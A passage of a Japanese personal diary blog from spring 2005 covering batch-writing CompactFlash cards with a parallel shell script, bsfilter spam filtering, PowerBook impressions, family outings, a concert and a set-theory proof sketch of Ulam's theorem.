  # cat /dev/sda >masterfile
```
と CF のマスターイメージファイルを作成します。ここで /dev/sda は CF を USB/CF コンバーター経由で、私が使っている Linux マシンに接続した時のローデバイス名とします。そして書き込みたい CF に入れ替えて、
```
  # cat masterfile >/dev/sda
```
とすれば良いのですが、一枚焼くのに 15分位かかるのですよ！！。ということは64枚焼くには、入れ替えのオーバーヘッドを無視しても 16時間もかかるわけで、これではとても今日中には終わりません。
そこで買ってきたのが 4ポート USB ハブ２個と USB/CF コンバーターを 8つ。これを Linux マシンの二つの USB ポートに接続すると、おお！ちゃんと /dev/sd[abcdefgh] と認識するではありませんか(笑)。そこで
```
  [tako.sh]
  #!/bin/sh

  cat masterfile >/dev/sda &
  cat masterfile >/dev/sdb &
  cat masterfile >/dev/sdc &
  cat masterfile >/dev/sdd &
  cat masterfile >/dev/sde &
  cat masterfile >/dev/sdf &
  cat masterfile >/dev/sdg &
  cat masterfile >/dev/sdh &
  wait
```
なんてシェルファイルを作ったら、これがなかなか効率が良く 1枚あたりで 15分かかったのに、8枚同時にしても 25分くらいで終わるのですよ。なので、 64枚が 4時間くらいで焼けるわけで、なんとか本日中の発送に間に合いそうです。
ところで、25分で 8枚ワンセット出来るのは良いのですが、いやはやこの待ち時間って、なんか他の仕事をする気分にもならないし、待っているとたいくつだし、なかなか微妙なのです。いやいや、いくら焼いてる間ひまだからって、人様のところに油を売りに行って、仕事の邪魔してるなんてことは、ぜったいぜったいに内緒なのです(^^。
＃「いかやき」にすればもっと効率が良いかも(^^。

2005年4月10日(日)

続・桃のお花見
昨日から「山中湖マウント富士」に泊まりこみだったのですが、ここは富士山が良く見えるのです。なので、朝6頃起きて富士山を見たのですが、残念ながら曇っていて良く見えませんでした。ところが8時頃から雲が晴れて来て、10 時頃には下の写真の様に、とってもよく見える様になりました。

10時半頃昨日と同様に K さんの車に便乗させて頂き宿を出発。その後近場を色々探索したり、お昼を食べたりで、新百合ケ丘到着が 6時50分頃。自宅到着は 20時。K さん T さんにはとってもお世話になりました。ありがとうございます。

2005年4月9日(土)

桃のお花見
今日は谷山さんファンの人たちと山梨県一宮で桃のお花見です。
ところで、本日は 7時21分に新百合ケ丘で K さんの車に拾ってもらう予定だったのです。なので、ちゃんと早起きしました。ちゃんと家を出ました。ちゃんと電車にのりました。そっ、それなのに...
目が覚めたら向ケ丘遊園(-_-)
しまったー、寝過ごしてしまった～。というわけであわてて連絡をして、急行で一駅戻ったのですが、約束の時間に 20分も遅れてしまい、とってもとってもご迷惑をかけてしまいました。いやはやほんとに申しわけございませんでした。
一つ言い訳をいたしますと、小田急線の藤沢から登戸までの急行停車駅は、右図の様になっておりまして、「向ケ丘遊園」って普段会社に行くときには丁度目覚めるのに良い場所なのですよ。まったく言い訳にならんか(汗)。
幸いにして、山梨県に行く途中の道路が思ったよりすいていたので良かったのですが、もし上記 20分の遅れが原因で渋滞にはまってしまったら、ほんとに困ったことになるところでした。
肝心の桃の花ですが、3日前から急にあったかく(てゆーか暑く)なってきたのが良かったらしく、本日丁度見頃になっていたのです。さらに桜の花も同時に咲きまくっていたという、なかなか風情のあるお花見を満喫できたのでした。

花見終了後「山中湖マウント富士」に一泊。

2005年4月8日(金)

つくばで打ち合わせ
今日はつくばで打ち合わせ。直行して5時頃に終了。直帰して実労 2時間位(^^

2005年4月7日(木)

横須賀で打ち合わせ
今日は横須賀で打ち合わせ。4時頃に終わって直帰したので実労 3時間くらいか(^^

2005年4月6日(水)

bsfilter の効果
Bsfilter を導入して一週間ちょっと経過しました。
運用としては bsfilter と spamassassin でフィルタリングして、spamassasin でスパムと判定されたものは、サーバーのスパム箱に保存され、クライアントまで転送されません。一方 bsfilter のみでスパムと判定されたものは、Subject: にスパムマーク文字列を追加したものがクライアントに転送されます。ただしこの場合 PHS には転送しません。
結果はといいますと、この一週間で PHS に転送されたスパムメールが 2件でした。Bsfilter 導入以前は一日 2件程度の頻度でしたので、大幅な改善と言って良いと思います。さらにスパムでないメールの誤判定は、通常のコマーシャルメール何件かに対してで、これは全く実害がありません。笑ってしまうのは Apple から定期的に「新製品ニュース」みたいなのが来るのですが、こちらもたまにスパムと判定されることだったりします(^^。
というわけで、まだ最初に学習させた状態でそのまま使用しているのにもかかわらず、無駄に PHS のアラームが鳴ることも少なくなり、今後もっと学習させればさらに良好な成績を期待することが出来ます。導入大成功です(^^。

2005年4月5日(火)

PowerBook 初心者ののひとりごと
PowerBook を購入してもうすぐ4ヶ月が経過します。そこで、昔から Mac を使っている人からみれば見当違いが多いかも知れませんが、使い勝手とか感想を。
[安定性]
これは土台に関しては BSD ということで購入する前から期待していたのですが、Aqua の方に関してはもしかして固まったりする場合があるのではないかと懸念していたのです。ところがこれがとっても安定しているのです。今までのところ、デスクトップを複数使用出来る様にするフリーソフトを立ち上げた時以外変な風になったことは一度もありません。安定性に関しては、最近の Windows も大分良くなってきたとは思うのですが、特に多数のウインドウを開いて、バックグラウンドで計算処理をする場合など、未だに処理が異様に重くなったり、最悪不安定になったりする場合が多いようです。その点 Mac OS X は非常に頑強に出来ている感じで、複数の処理を並列に行っても、CPU の能力の範囲で全くストレスを感じさせません。
[BSD]
PowerBook(というか Mac OS X)を選択したのは、もちろん土台の部分で BSD が動作していることがキーポイントだったのですが、BSD 的な使い方は基本的なコマンドを使う場合、UNIX もどき OS で動作するプログラムを使用する場合以外、思ったより使わないです。昔に比べて GUI の操作で済ませることが増えたような気がします。
それよりも Apache を簡単に動作させることが出来たり(これがないと日記のCGI部分のローカルでのチェックが難しい)、それから見栄えの良い端末としての使用も頻繁なので、デファオルトで ssh が簡単に使えたり、という部分のご利益が大きいのです。
[メモリー管理]
おうちの PowerBook は 768Mバイトの実メモリーを搭載していますが、実メモリーをすぐに使い切ります(笑)。いやその不足すると言う意味ではなく、アプリケーションやファイルバッファが一度コミットした実メモリー領域をぎりぎりまで返却しない設計の様です。さらに返却して捨てても構わないデーターに関しても、これまたぎりぎりまで SWAP に保存するみたいです。こういう VM の性能を信じて実メモリーを使い切る、という設計は最近の BSD でも似たようなものだと思うのですが、かなり思い切った設計ではあると思います。まあ、あるものは最大限有効活用した方が良いですからね。別に見かけ上の残メモリーが減少しても、本当に不足している場合以外は、レスポンスが悪くなったりするようなことはありません。
[フォント]
これは何度も書いていますが素晴らしいの一語に尽きます。
[Emacs 風入力]
Mac OS X の好きなところは(いやがる人も多そうですが...)通常の操作のキーバインドが Emacs 風なところでして、これは個人的には非常にポイントが高かったりします。
[LaTeX]
最近は一日の仕事の半分以上の時間 LaTeX で文章を書いています。フォントの奇麗さと、下記の OmniGraffle で書いた図の組み合わせで、私のような見栄えに縁がない人でも、それなりに美しい文書を作成出来ます。いや～、自分で書いたのを印刷したのの見栄えが良いとこんなに気分がいいとは(^^。さらに会社でかなり高性能な両面印刷対応の PostScript 対応プリンターを買ってくれたので、いよいよ文書作成に力が入ります(^^。
[OmniOutliner,OmniGraffle]
実はいつの間にか両方とも Professional 版の正規ユーザーになっていたりします(^^。それだけの価値があります！！。Outliner の方はメモ、スケデュール管理、文書管理、会議録管理等大活躍です。OmniGraffle とともにプログラムの構想を練るのにも役立つし。こういう道具を利用したことは今まで無かったのですが、使っていて楽しいし、これらを使うことにより、仕事の能率が大分上がったと思われるのです。もしかして仕事の能率が上がった分で、購入した元がとれているかも知れません。
[Safari]
もともと OS を作っている会社のブラウザって IE の印象が強くあんまり良いイメージを持っていなかったのです。ところが Safari って知名度はあんまり高くないと思うのですが、使いやすさや見栄えがとっても素晴らしいのです。実は、購入直後すぐに FireFox をインストールして、しばらくそれを使用していたのですが、一度 Safari を使ったら、もう元には戻れなくなってしまいました。FireFox に実装されている最新の機能が使えない場合もあるのですが、トータルの出来映えとしてははるかに優れていると思います。
ちなみに Mac OS X には IE も入っていまして(笑)、CD 上の README.html とかを開くとこれが起動するのですよ(^^。おそらく説明書が IE でないと読みにくい場合があることを考慮してのことと思います。
[デュアルディスプレイ]
PowerBook はデフォルトで外部ディスプレイへの接続が可能で、さらにデュアルディスプレイをサポートしています。実は 12inch のを買ったら案外画面がせまく、さらに仮想スクリーンが使えないので、15inch のにした方が良かったかな～、と思ったこともあるのですが、会社でデュアルディスプレイを使用する様になってから格段に使いやすくなりました。仕事ではウインドウを20 個以上同時に立ち上げることもしょっちゅうですから。そうそう Expose も一度使うと手放せなくなります(^^。
おうちでは日記を書いたり、メールを読んだり、ブラウザでネットを歩いたり程度にしか使わない場合が多いので、 12inch のディスプレイで十分です。
その他 Perview が思いのほか便利なこと、全体の文書環境が PDF で統一されていて、Acrobat なしでも(特に私のような LaTeX 好きな人は)PDF の管理をそれなりに出来ることとか、便利な点がたくさんあります。
というわけで、個人的には MS Office のしがらみさえなければ、私の様に PC の好みに関して平均的でないと思われる人でなくても Windows を使う理由はなく、すべての面で Mac OS X の方が優れていると思いますし、最近びっくり大安売りの Mac も発売されたので、Apple は今後かなりシェアーを伸ばすような気がするのですが、はてさて営業的な感覚はまったくない人なので、あたるのかあたらないのか全く予測がつきません(^^。

2005年4月4日(月)

WILLCOM複数契約割引
昨日WINLLCOMから複数契約割り引きに関する郵便が来たのです。内容としては、
- 二台の通話向けプラン契約で一台あたりの基本料金が 200円引き。
- 一台が通話向けプランで、もう一台がデーター通信向けプランの場合、通話向け契約の基本料金が半額。さらにデーター向けの方が200円引き。
いうことなのです。現状私はデーター通信向けつなぎ放題でして、奥さまは通常の通話契約です。ということで、もしかして奥さまの方が半額になったらうれしいな～、でもA&B割とかとの関係はどうなのだろう？ということで WILLCOMに電話して直接聞いてみたのですが、
- A&B割とは独立に上記割り引きが適用される。
- ただし5月1日以降通話の方の契約が「つなぎ放題」に変更になった以降は割り引き適用外。
ということなのです。そーか...。よく考えてみると通話つなぎ放題の基本料金を半額にしたら、そりゃ商売になりませんな。むむむむむっ、5,000円キックバックにつられて、奥さまの方を 5月から「つなぎ放題」予約としたのですが、これはちょっと早まったかも。損しないためには、せいぜいたくさんおしゃべりするしかなさそうです(^^。
＃通話つなぎ放題でメールの料金が無料になることをを考えると
＃損とまでは言えないかも。微妙です。

2005年4月3日(日)

一回休み

2005年4月2日(土)

モカちゃんディズニーランドにゆく
今日はモカちゃんが二女と一緒にディズニーランドに行ったのです。前々から二女に連れて行って欲しいと交渉していたのですが、二女はディズニーっぽいのはあんまり好きでなく、色々理由をつけては先延ばしにしていたのですが、二日前にモカちゃんに押し切られたようで(^^。

そもそもモカちゃんは、まだ小学校6年生になったばかりなのに、なかなかの交渉上手でして、二女がぐずぐず言ってるのをなだめたりすかしたり、結局連れて行ってもらうことに成功したのです(^^。
それにしてもちょっと前までは、二女の方が誰かに連れて行ってもらう方だったのに、いつの間にか自分が連れて行く方になったわけで、ずいぶん大人になったものだと思います。
6時15分出発、21時53分藤沢駅到着。すんごく疲れたそうです(^^。

2005年4月1日(金)

一回休み

2005年3月31日(木)

土浦出張
今日は土浦に出張でした。それにしても土浦9時集合というのは...。いや～、藤沢から3時間位かかるんですよ(笑)。というわけで5時半に起床して6時におうちを出発したのです。打ち合わせが終わったのが19時で帰宅が22時。疲れた～(^^。

2005年3月30日(水)

一回休み

2005年3月29日(火)

Re: bsfilter 小ネタ
ふむふむ、そんなうまい方法があるのですね。SpamAssassin に関してはきっと何かオプションがあるかと思っていましたが、xargs の方は完全に頭から抜けてました。毎日の様に、
$ find . -name '*.[ch]' | xargs grep hogefuga
なんてやってるのに(^^。xargs はコマンドラインの容量を超える引数が必要になったとき、それらを分断して、コマンドを複数回呼び出すのがみそですね。さらに shell によるループだとコマンドがメールの個数分呼び出されるのですが、xargs 使用の場合、おそらく数回の呼び出しで済むので効率が良いですね。
というわけで教えてくださってどうもありがとうございます。
余談ですが、実験しているときに、とてもここには書けない文面のスパムっぽいメール(えっちっぽいのとお金もうかりまっせ)を書いて自分に送ってみたのですが、これがなかなか得点が上がらないのですよ(笑)。幸いにしてあのようなえげつない文章を書く才能はないようです(^^。

2005年3月28日(月)

bsfilter をまねする
たかたにさんとこでとってもうまくいってるようなので、例のごとく私もまねして bsfilter をインストールしてみました。まずはスパムの学習で、こちらはサーバーに SpamAssassin が補足したのが入ってる箱(~/Mail/spam/)があるので、その内容を登録です。ただし SpamAssassin はスパムを添付ファイルとして保存するので、本文にはスパムメールの最初の部分しか現れません。まあこれで十分効果があるとは思うのですが、今後の運用状況により、添付部分を抜き出して再学習させた方が良いかもしれません。
$ bsfilter --add-spam ~/Mail/spam/*
次にスパムでないメールの学習ですが、こちらは絶対にスパムが入っていない Mac の方の「 ~/Mail/private/、 ~/Mail/会社関連/、~/Mail/谷山さん系メーリングリスト/」の全メールを登録です。ただし bsfilter --add-clean ~/Mail/private/* だと量が多すぎて、引数がコマンドラインの最大長を超えてしまうので、こちらはシェルを利用したループです。もちろん下記のコマンドは Mac 上で動作させたのではなく、サーバー上で Mac からコピーしたファイルを置いたディレクトリで実行したのですが、分かりやすくするために通常のディレクトリー名で記述しました。
$ for i in ~/Mail/private/* ;do bsfilter --add-clean $i ;done
そしてデーターベースのコミット。
$ bsfilter --update
こんな準備をした後、普通はやで仕方がないのに、珍しくスパムが来るのを待っていたのですが、これが案外来ないのですよ(笑)。なので、今のところ効果は不明なのですが、実際上は PC まで一日数通のスパムが上がってくるのは別に問題が無く、それが PHS まで転送されてくるのが、課金の対象にならないとはいえ、とっても不愉快なのであり、今後その頻度が減少すればうれいしいな～、と思っているのです。
＃てなこと書いてたら SpamAssassin をすりぬけた日本語のが Mac まで上がってきました。
＃もちろんスパムマークが付いているので、PHS には行きませぬ(^^。

2005年3月27日(日)

アタゴオルは猫の森(二日目)
とにかく楽しい演劇というか演奏会でした。原作を読んでいないのでよくわからないのですが、ストーリーに関して特に統一性があるというものではなく、一つ一つのエピソードの寄せ集めみたいなものだと思うのですが、それらが浩子さんの音楽により一つにまとまった「お話」として凝縮されたような気がします。
なによりも素晴らしいと思ったのは、今回全部新たに作詞・作曲したという歌の数々で、全体として「月光シアター」の雰囲気を継承しているおもむきがありました。ほんとに全部素敵な曲なのですよ(^^。演劇として真面目に観てしまうと、誠に失礼ながら、素人三人とプロ三人の力量の落差が激しいことは事実なのですが、そのあたりも浩子さんファンの目で見ると、「みんな一生懸命やってるな～」という雰囲気が伝わってきて、なんとも面白い味をかもし出していると感じたのです。特に AQ さんはほとんで出ずっぱりで、しかもサービス満点。お疲れさまでした。斉藤ネコさんはかなり緊張されていたようですが、お人柄通りのとても良い味を出していたと思います。佐武令子さんにつっこまれてのぼけ味もなかなか面白かったのです。
最後の踊り付きの「ねこの森には帰れない」も、出演者・観客双方とても楽しい雰囲気だったのです。
いやはや、わずか一週間前には、こんなに楽しい演奏会を見落とす危険があったとは...。観なけりゃ一生後悔ものでした。スケデュールの調整がついて良かった～(^^。
奥さま追突される
私がコンサートを楽しんでいるとき、なんと奥さまが追突されたそうな。追突状況は玉突きで、奥さまの車が一番前に止まってるとき、真ん中の車が一番後ろの車に追突されてぶつかってきたのです。幸い奥さまにけがは無く、車の方も良く見るとバンパーに傷がついたのが分かるかな～、という程度ですんだのですが、可愛そうなのは追突した人！。
ちょっと真ん中の車の人がや◯ ざっぽそうなひとで、そんなに激しく追突した訳でもないはずなのに、首が痛いとか、追突した人があやまっているのにどなりつけたり、さらに車種が BMW だったり...。
結局真ん中のや◯ざさんがあっちこっち痛いと騒ぐので、人身事故の可能性ありの扱いということで、忙しいのに警察に事情聴取に行かされたりして、さんざんな目にあったそうなのです。

2005年3月26日(土)

アタゴオルは猫の森(初日)
12時頃家を出て、小田急線で新宿まで。新大久保まで山手線一駅で「グローブ座」到着。途中 O さんと合い、なんと半年間も返す機会が無かった借金 1000 円を返却。ほんとに申し訳なかったです。
15:00からの部と 19:00からの部を見てきました。一回目は予習不足もあって良く分からず、いまいち？？？という感じだったのですが、二回目はとても楽しめました。感想は後日。

2005年3月25日(金)

ネットワーク障害
本日おうちを出て電車を待ってるときに、 AH-K3001V でネットをアクセスしようとしたのですが、全くできなかったのです。通常 AH-K3001V でネットをアクセスする場合、おうちの圧縮プロキシーを通すので、自宅のサーバーが怪しいと考えて、試しにプロキシーの設定をはずすと、案の定ちゃんとアクセス可能となりました。
むむむのむ！ついに R30 が壊れてしまったのか困ったな～、と思っておうちに電話をしたところ、運良くまだ奥さまが在宅でして、まずは ADSL モデムの状況を見てもらったところ、
電源が抜けていました(^^
いやはやおうちの ADSL モデムのコンセント挿入口は私の食卓の近くにあるのですが、どうもあわてて朝食を食べようとしたときに、けっとばしたようなのです(^^。いずれにしてもコンセントの近傍は非常に乱雑な状態になっていて、運用面で問題がありそうです。なので、本日はたこ(＊)を一つ買って帰り、少々整理したいと考えております。
(＊) 分配ケーブルのこと(^^。

2005年3月24日(木)

やれやれ
本当はもう一山ありそうなのですが、なんとか今年度中の仕事のめどがつきました。さらに機材不足にて私の開発用の機器を営業さんが持ってくので、ふふふっ、明日は案外ひまかも...(^^。まあ少々ためこんだ書き物系の仕事でもしましょうか。さらに現金なもので、二月頃からとっても忙しくって、肉体的にも精神的にもかなりきつかったのですが、昨日あたりから体調がとっても良くなってきました。
もちろんよほどの緊急事態がなければ土日はコンサートに出陣なのです(^^。

2005年3月23日(水)

一回休み

2005年3月22日(火)

もしかして...
「幻想図書館Vol.3『アタゴオルは猫の森』」行けるかも(^^。まだ油断は出来ないけどね。
奥さま PHS 購入

右が奥さまの

長年携帯系の電話を使っていなかった奥さまなのですが、諸般の事情にてついに本日お買い上げと相成ったのです。購入した機種は AH-K3001V(笑)でして、金額は一円なり(爆)。私の様にネットに長時間接続するわけではなく、通話とメールが主な用途なので、標準で月額基本料金が 2,409円(税込み)のコースを選択です。
さらに 5月1日からのウイルコム定額プランを予約すると、それまでの使用料金から 5,000円が引かれるということで、3月の残りと4月中は実質無料で使用できると推測されます。また定額プランを開始した場合、私との通話が無料になり、一般のメールの料金もかからなくなる、ということでこちらの予約も行いました。ただし私と奥さまの電話は「これから帰ります」電話くらいしかなく、そんなに得しないのですが、それでも定額プランになったあかつきには、私がワン切り電話をかけた後、奥さまに掛け直してもらうことになりそうです(^^。
余談ですが、(自宅の)奥さま宛に来たメールを PHS に転送するのは簡単なのですが、実際に転送するのは 5月になってからで良いそうです。ふむふむ、さすがに私の奥さま！なかなか手堅いのです(^^。

2005年3月21日(月)

覚え書き
本日しらたまちゃん(Apple Wireless mouse) の電池を、人様からもらった FUJIFILM 純正リチウム電池に交換。はてさて何日持つのか。おまけに付いてきた外国製リチウム電池は20日、オキシライド乾電池は18日位もつのですが、それらとの比較が面白そうです。
魔の三連休
今日は三連休の三日目でお休みです。普通ですお休みはとってもうれしいのですが、今日の休みはちょっと...。つまりですな、先週私の仕事がはまりにはまりまくって、結果的に協力して下さっている会社への作業依頼が遅れてしまい、この三連休前にやっと委託可能な状況にまで持って行ったのです。というわけで、こちらに非があって遅れたのに、他の会社の方に連休も作業して下さいとお願いする訳にもいかず、工程に三日間も空きができてしまったのです。
なので、今月末納期開発のしわ寄せが明日以降に集中する訳で、特に今度の土日は極めて厳しい状況なのです。あーあ、真面目な話こんどの「幻想図書館Vol.3『アタゴオルは猫の森』」行けないかも(涙)。三回全部とは言わないでも、二回...、いやぜいたくは言うまい、一回でも行ければ良い方だと思っているとってもとっても悲しい状況なのです。

2005年3月20日(日)

Ulam の定理
[集合論雑記目次]
$\mu$ を $X$ 上の測度とするとき次のいずれかが成立します。
$2^{\aleph_{0}}$ 上に測度が存在する
2値測度が存在する。すなわち可測基数が存在する
[補題]
$\mu$ を $X$ 上の測度とする。 $S\subset{\mathcal{P}(X)}$ とし $S$ の要素はすべて互いに共通部分をもたず、さらに $S$ の要素の測度がすべて $0$ でないならば $S$ は可算である。
実際 $n\in\omega$ に対して $S_n=\{Y\in{S}|\mu(Y)\ge{1/n}\}$ とおくと、各 $S_n$ は有限集合で $S=\bigcup_{n\in{\omega}}{S_n}$ が成立するので $S$ は可算集合。
[補題]
$\mu$ を $X$ 上のatomlessな測度とし $Y\subset{X}$ を任意の部分集合とするとき、 $Z\subset{Y}$ が存在して $\mu(Z)=1/2\,\mu(Y)$ を満たす。
$\mu$ がatomlessなので、 $Y$ を正の二つの測度を持つ部分集合に分割し、その測度が小さい方を採用して同様な操作を繰り返すことにより、任意の $\varepsilon>0$ に対し $0<\mu(Z)\le{\varepsilon}$ を満たす $Z\subset{Y}$ が存在します。さて $Z_{0}\subset{Y}$ を $0<\mu(Z_0)\le{1/2\,\mu(Y)}$ を満たす集合とし、以下 $Z_{\alpha}$ を次式により定義します。
$Z_{\alpha}\subset{Y-\bigcup_{\beta<\alpha}{Z_{\beta}}}\cr~\mu(Z_{\alpha})>0\cr~\mu(\bigcup_{\beta\leq\alpha}{Z_\beta})\leq{1/2\,\mu(Y)}$
ところが最初の補題により上式は $\alpha<\omega_{1}$ で終了します。
[Ulamの定理の証明]
まず $X$ 上の測度 $\mu$ がatom $A$ を持つ場合 $A$ 上の測度 $\nu(B)=\mu(B)/\mu(A)$ により定義することにより $\nu$ は $A$ 上の2値測度となります。そこで $\mu$ はatomlessであるとします。このとき $\bigcup_{n\in\omega}{2^n}$ の要素、即ち $0,1$ の有限列 $\rho$ に対して $X_\rho$ を帰納的に定義します。
$X_{0}=X\cr~X_{\rho^\~0}\cup{}X_{\rho^\~1}=X_{\rho},\quad~X_{\rho^\~{0}}\cap{}X_{\rho^\~{1}}=\emptyset\cr~\mu(X_{\rho^\~{0}})=\mu(X_{\rho^\~{1}})=1/2\,\mu(X_\rho)$
ここで $\rho^\~{0},\rho^\~{1}$ はそれぞれ列 $\rho$ に $0,1$ を追加した列とします。要するに $X$ を $0,1$ の有限列の長さが増えるたびに「半分ずつ」に分割する操作を考えるのです。さて $f\in{2^{\omega}}$ に対し $I_{f}=\{\rho|\exists{n\in{\omega}}(f\|{n}=\rho)\}$ と定義し、 $X_f=\bigcap_{\rho\in{I_f}}{X_\rho}$ とします。すると $f\in{2^\omega}$ に対して $X_{f}\in\mathcal{P}(X)$ を対応させる一対一の関数 $\varphi:2^{\omega}\rightarrow{}\mathcal{P}(X)$ が得られ $Y\in{\mathcal{P}(2^{\omega})}$ に対し $\mu^{\ast}(Y)=\mu(\varphi(Y))$ と定義すると $\mu^{\ast}$ が $2^{\omega}$ 上の測度となることは容易に確かめることが可能です。
この場合、 $2^{\aleph_0}$ の下に弱到達不可能基数が存在することの証明は次回。

2005年3月19日(土)

だめだめ安物ハブ
いやはやい ADSL のリンク速度がどんどん落ちていまして、現在下りが 2.2Mbps 程度なのです。前にも書きましたがこれはスイッチングハブがノイズを出しまくっているのが原因と思われるのですが、お金を出してどうせ半年くらいで劣化するのを買うのもやだし、かといって高いのはもったいないし、そもそも高いのを買ってどの位状況が改善するかもいまいちはっきりしません。なんかいい方法ないでしょうかねえ。いっそのこと X24 なり R30 とADSL モデムのイーサネットポートを直接繋いで、おうちへの中継は PCMCIA 側で行うとかも考えられないではないのですが、置き場所の問題と、NAT の NAT の設定がとっても面倒そうなのが難点です。
余談ですが、昔だまされたと思って買ったノイズフィルターを間に入れたり、スプリッターを二段いもづるにすると、効果が全くないわけではなく、上りの速度は若干向上するのですが、下りの速度はますます悪くなるという状況に陥ります(笑)。上りはノイズに弱く下りは減衰に弱いのでしょうか。
まあ簡単に速度が照会可能(ADSL モデムにtelnet で入れる)なのが良くないので、いっそのこと知らなければそんなに不愉快にはならないのにねえ(笑)。

2005年3月18日(金)

無神経な人
先日仕事の関係で顧客のところに PowerBook を持って行き、データーを整理したものとかを画面で見せる必要があったのです。ところがですよ！その担当者の人が「この部分はー」とか言いながら PowerBook の画面を指で触るのですよ(-_-)。
うーむ、人様のノート PC の液晶を触るというのは、私の感覚としては、非常に失礼だと思いますし、正直とっても嫌だったのですが、お客さんということで我慢していたのです。ところがその人、何にも言われないことをいいことに、こんどはボールペンの先で PowerBook の液晶をつつきだしそうになったのです。さすがにこのときはあわてまして、「申しわけありませんがその PC は私物ですので、液晶には触れないようにして頂けないでしょうか」と言ったところ、やっとこやめてもらえたのですが、人様がとっても大切にしている PC を何だと思っているのだか。まあ会社のものとでも思っていたのでしょうが、会社のものだからといって、液晶部分に触れるのはやはりとっても失礼な行為だと思います。
公平さを保つために書いておくと、上記の方は PC に触る以外はとても感じの良い礼儀正しい方で、このあたりは単なる価値観の違いと言う面もあると思いますし、私自身も無意識に他人様に失礼な行動をとっている場合も結構ありそうです。十分気をつけなければいけません。

2005年3月17日(木)

モカちゃんにストラップをもらう
今日おうちのトイレに入ったらなぜかストラップが置いてありました。これは誰の～、と聞いたところモカちゃんのだそうで、出所は不明です(てゆーか教えてくれない)。そこで、先日購入した USB メモリーにつけるのが欲しかったので、あんまり期待しないで「これちょーだい」と言ったところ、なんと本当にくれるそうな(^^。でもどうしてトイレに...？謎ですな。まあいいや。そもそもいつも漫画とかその他いろんなのが置いてあるので。テストが近づくと教科書が置いてあったりして(^^。
というわけでさっそく取り付けたのが本日の写真なのですが、とっても可愛くてよろしい(^^。ところで、なんとなく欲しくなって購入した肝心の USB メモリーの方は、今までのところ一度も実用的な用途に使用する機会がないのは絶対にないしょなのです(^^。

2005年3月16日(水)

一回休み

2005年3月15日(火)

難しい無限再帰
私の場合、何らかのスクリーンショットを公開する場合、公開するショットそれ自体を編集中の場合が多いのです。たとえばこの日記のブラウザの画面とか。その場合スクリーンショットを作った時点では、そのスクリーンショット自体の画像は表示されていないわけで、ちょっと言葉では分かりにくいのですが、要するに右図のような状況を呈する訳です。
つまり最初のスクリーンショットを画像として貼付けたのが二番目ので、この段階では二番目の「画像」には二枚目のスクリーンショットは含まれていません。三枚目に関しても同様です。もちろんこの操作を「無限」に繰り返すといいますか、目で判読でない程度一番内側の画像が小さくなるまで繰り返せば良いのですが、とってもとっても大変です。
そのあたりの弊害が昨日公開した PDF ファイルにも現れているのですが、わざわざこれだけのために再帰的に画像を埋め込むプログラムを作る能力も気力もないし、かといって手作業では面倒ですし、いやはや本当に困ったものです(^^。
＃二枚鏡を利用して写真に撮るのが一番良さそうですが、
＃面倒臭さも並大抵ではありません(^^。

2005年3月14日(月)

iWork'05 来たる
本日出荷したというメールが来まして、明日か明後日に到着するはずだったのですが、家に帰ったらすでに届いていました(^^。さっそくインストールして Pages を使ってみたのですが、あんまりテンプレートの数は多くなく、自分で好みのスタイルをいくつか定義する必要がありそうです。雰囲気としてはワープロというよりも、ページレイアウトに比重が置かれている感じでしょうか。
単なる調査不足かもしれませんが、ちょっと不満なのは、レイアウトの項目ごとにデフォルトのフォントをアサインできるのですが、例えば「ヒラギノ明朝」を選択すると、欧文文字も「ヒラギノ明朝」に含まれる文字がアサインされ、日本語の場合「ヒラギノ明朝」、欧文の場合「times roman」とかいう指定は出来ないようです。このあたり、定型の文書に対する細かい見栄えに対する配慮は、 LaTeX には到底およばないようです。
それからよく使うと思われる Word 文書の読み込みですが、こちらはいくつか試したのですが、OpenOffice 系より精度が高い変換を行うことが可能な場合が多く、そこそこ使えそうです。ただし「MS 明朝」等知らないフォントはすべてゴシック体に変換されるので、そのあたりは自前でエイリアスを指定可能になっていればもっと良いのではと思います。
まだ全然使い込んでいないので、ある程度雰囲気が分かった時点で使用感等のレポートを書こうかと考えています。
余談ですがフォント名はファイル名で決まるのかな～、と考えて、 MS 明朝を認識させるために「ヒラギノ明朝 W3」を「MS 明朝」にコピーリネームして個人用フォントとして登録したら、やっぱり「ヒラギノ明朝 W3」になって、大失敗したのは絶対に内緒なのです(^^。
作業イメージ PDF ファイルはこちら。

2005年3月13日(日)

タブレット購入
いやいや私がタブレットを使う訳がなく、期末試験も終わってバイトで稼ぎまくった二女のお買い上げなのです(^^。しばらくお絵描きをしていた形跡がなかったのですが、最近また描きたくなってきたとのこと。購入したのは WACOMのF-430EX なる製品で、

お値段は 15,000円位。私はこちらの方の評価は全く出来ないので、二女が自分で決めたのですが、おまけのソフトとして Adobe Photoshop Elements 3.0 と procreate Painter Classic が付いてくるのか決め手になったそうな。本当は、本物の Photoshop と Painter が欲しいところらしいのですが、これらは価格の面で高校生が購入するのはほとんど不可能です。そこで、そのあたり基本機能さえあれば安いのでも(てゆーかおまけ)良いとの割り切っての決定だそうです。
ちなみに Photoshop は Windows 版と Mac 版が梱包されており、ライセンスを見ると、おんなじ人が使う条件で、二台までインストールするのは許可されており、同時に使用しなければ良いとのこと。てなわけで、ちょっと私が二女に変身して(おい^^) PowerBook にインストールしてみたのですが、「重い」「全く使う能力がない」ということが即座に判明し、約 10 分でアンインストールしました。
余談ですが、ちょっと前まではこういう新しいハードウエアーを購入した場合、「ぱぱー、どうやって動かすの～」なる状況だったのですが、いつの間にか自分でドライバー等のソフトウエアーをインストールできるようになっていました。全く子供の成長は速いものです(^^。

2005年3月12日(土)

完全休養
今週はインフルエンザの後遺症でかなりしんどかったのですが、出張があったりと案外忙しかったのです。来週以降はさらに忙しくなりそうなので、今日と明日は完全休養です。ところでこの忙しさは最低でも今月いっぱい継続しそうで、万が一にも 26日(土)、27日(日)の「アタゴオルは猫の森」のときに出勤せざるおえない状況にならないよう、効率的に仕事を進める必要がありそうです。
そうはいうものの、正直言って時期が納期と重なっているので、バッティングする不安は高まるばかりなのですが、そのときはなんとか理由を付けて抜け出すしかなさそうです(^^。
さようなら X11
ふと思い出すと、今週は一度も X11 を起動することがありませんでした。もちろん Emacs/X11 を Emacs-0SX/Terminal なる環境に変更したのが主たる理由なのですが、10年以上お世話になっていたので、他の用途に使う場合もあるのかと思っていたら、案外他の用途には使っていなかったのと、最近はフォントが美しくないという理由で、あんまり使いたくなくなったというのが真相なのでしょう。今後 X を使う場合を想定すると、
- まれに xmaxima で遊ぶ場合がある。
- まれに gimp を必要とする場合がある。
- まれに OmniGraffle の補助として tgif を使う場合がある。
